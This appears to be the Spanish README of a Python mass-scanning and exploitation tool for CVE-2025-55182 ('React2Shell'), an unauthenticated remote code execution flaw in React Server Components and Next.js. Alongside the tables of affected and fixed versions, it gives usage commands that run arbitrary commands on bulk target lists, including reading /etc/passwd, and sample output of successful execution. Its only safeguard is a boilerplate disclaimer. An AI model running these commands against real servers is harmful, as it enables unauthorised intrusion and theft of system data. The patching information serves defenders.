
Escáner automatizado para CVE-2025-55182: una vulnerabilidad crítica de RCE en React Server Components y Next.js.
Herramienta de detección masiva y verificación para la vulnerabilidad de ejecución remota de código CVE-2025-55182 (React2Shell).
⚠️ Vulnerabilidad crítica CVSS 10.0 | Afecta a React Server Components y versiones 15.x/16.x de Next.js | Solo para pruebas de seguridad autorizadas
CVE-2025-55182 (también conocido como "React2Shell") es una vulnerabilidad de ejecución remota de código (RCE) no autenticada con severidad máxima CVSS 10.0.
La vulnerabilidad se origina en un problema de deserialización insegura en el paquete react-server de React Server Components (RSC) al procesar el protocolo RSC "Flight". Un atacante puede ejecutar código arbitrario en el servidor vulnerable enviando solicitudes HTTP especialmente diseñadas.
Debido a que Next.js utiliza el protocolo RSC "Flight", incluso las aplicaciones creadas con la configuración predeterminada mediante create-next-app pueden ser explotadas sin que el desarrollador tenga que escribir código adicional. Desde el 5 de diciembre de 2025, se ha detectado que esta vulnerabilidad está siendo explotada activamente.
Versiones afectadas de React Server Components:
| Paquete | Versiones afectadas |
|---|---|
| react-server-dom-webpack | 19.0.0, 19.1.0, 19.1.1, 19.2.0 |
| react-server-dom-turbopack | 19.0.0, 19.1.0, 19.1.1, 19.2.0 |
| react-server-dom-parcel | 19.0.0, 19.1.0, 19.1.1, 19.2.0 |
Versiones afectadas de Next.js (con App Router):
Otros frameworks/herramientas RSC potencialmente afectados:
⚠️ Nota importante: no se conocen mitigaciones temporales para esta vulnerabilidad; actualizar a una versión segura es la única solución.
Versiones recomendadas para actualizar:
Puede usar el paquete npm oficial fix-react2shell-next para ayudar a actualizar las aplicaciones Next.js afectadas.
pip install requests
# 批量扫描 (从urls.txt读取目标)
python CVE-2025-55182.py -f urls.txt
# 单目标测试
python CVE-2025-55182.py -u http://192.168.1.100:3000
# 执行 whoami 命令
python CVE-2025-55182.py -f urls.txt -c "whoami"
# 执行 hostname 命令
python CVE-2025-55182.py -u http://target.com -c "hostname"
# 读取文件
python CVE-2025-55182.py -f urls.txt -c "cat /etc/passwd"
# 指定线程数和超时时间
python CVE-2025-55182.py -f urls.txt -t 50 --timeout 15
# 自定义输出文件
python CVE-2025-55182.py -f urls.txt -o scan_results.csv
# 静默模式 (只输出漏洞URL)
python CVE-2025-55182.py -f urls.txt -q
Una URL por línea, por ejemplo:
http://192.168.1.10:3000
http://192.168.1.11:3000
+---------------------------------------------------------------+
| ### ## ####### ## ## ######## ## ####### |
| #### ## ## ## ## ## ## ## |
| ## ## ## ##### ### ## ## ####### |
| ## #### ## ## ## ## ## ## ## |
| ## ### ####### ## ## ## #### ####### |
| |
| CVE-2025-55182 RCE Scanner |
+---------------------------------------------------------------+
============================================================
[ CONFIGURATION ]
============================================================
> Targets: 10
> Threads: 20
> Command: id
============================================================
[ SCANNING ]
============================================================
[14:30:25] [VULN] http://192.168.1.10:3000
'--> uid=1000(www-data)
[14:30:26] [SAFE] http://192.168.1.11:3000
+==========================================================+
| SCAN COMPLETE |
+==========================================================+
| Total Targets : 10 |
| Vulnerable : 1 |
| Safe : 9 |
| Errors : 0 |
+==========================================================+
Los resultados del escaneo se guardan en formato CSV e incluyen los siguientes campos:
url - URL del objetivostatus - Código de estado HTTPvulnerable - Indica si es vulnerableoutput - Salida de la ejecución del comandoerror - Mensaje de errorEsta herramienta está destinada únicamente a pruebas de seguridad autorizadas. No la utilice con fines ilegales. El usuario asume toda la responsabilidad derivada de su uso.
| Versión principal | Rango de versiones afectadas | Versión corregida |
|---|
| 16.0.x | ≤ 16.0.6 | 16.0.7 |
| 15.5.x | ≤ 15.5.6 | 15.5.7 |
| 15.4.x | ≤ 15.4.7 | 15.4.8 |
| 15.3.x | ≤ 15.3.5 | 15.3.6 |
| 15.2.x | ≤ 15.2.5 | - |
| 15.1.x | ≤ 15.1.8 | - |
| 15.0.x | ≤ 15.0.4 | - |
| 14.x Canary | ≥ 14.3.0-canary.77 | - |
| Parámetro | Descripción | Valor predeterminado |
|---|
-f, --file | Archivo de lista de URL | urls.txt |
-u, --url | URL de un solo objetivo | - |
-t, --threads | Número de hilos concurrentes | 20 |
--timeout | Tiempo de espera de la solicitud (segundos) | 10 |
-o, --output | Archivo CSV de salida | results.csv |
-c, --command | Comando a ejecutar | id |
-q, --quiet | Modo silencioso | false |